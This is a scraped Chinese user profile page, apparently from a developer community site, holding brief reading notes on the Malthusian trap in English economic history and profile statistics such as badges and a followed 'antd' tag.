  • 1730年,1730年,一种叫做蛀木水虱的蚯蚓在海堤里大量繁殖,人们不得不用极其昂贵的石料对海堤进行加固。

英国

  • 1265~1595 : 英格兰人均GDP与人口规模的关系.英格兰的“马尔萨斯陷阱”. 在这个不断循环的过程中,农产品的总产量可能会有所增加,但人口数量也会随之增加,这就注定了人们只能生活在最低水平线附近。

epub_602739_9.jpeg

  • 1800年 马尔萨斯论述1798年严峻经济形势的论文《人口论》(Essay on thePrinciple of Population)发表不久,这种现象就突然在西欧消失了
在1600年左右,月牙形中出现了一个代表数量增加的凸起,而在图1-3中,1800年之后,月牙形被彻底突破,表示人们没有再次回到饥饿的边缘。在图1-3中,表示人口规模的纵轴单位增大了,所以最初的月牙形看起来就像是一张位于图形下方的薄煎饼。人类之所以能够逃离这个循环陷阱,并不是因为人口出生率提高了,而是因为人口死亡率降低了40%。人们生活水平的迅速提高则是因为经济的迅猛增长
查看原文

赞 0 收藏 0 评论 0

AlexZ33 关注了标签 · 5月12日

antd

ant-design ,react 框架

关注 947

认证与成就

  • 获得 234 次点赞
  • 获得 33 枚徽章 获得 2 枚金徽章, 获得 8 枚银徽章, 获得 23 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

注册于 2017-02-08
个人主页被 2.9k 人浏览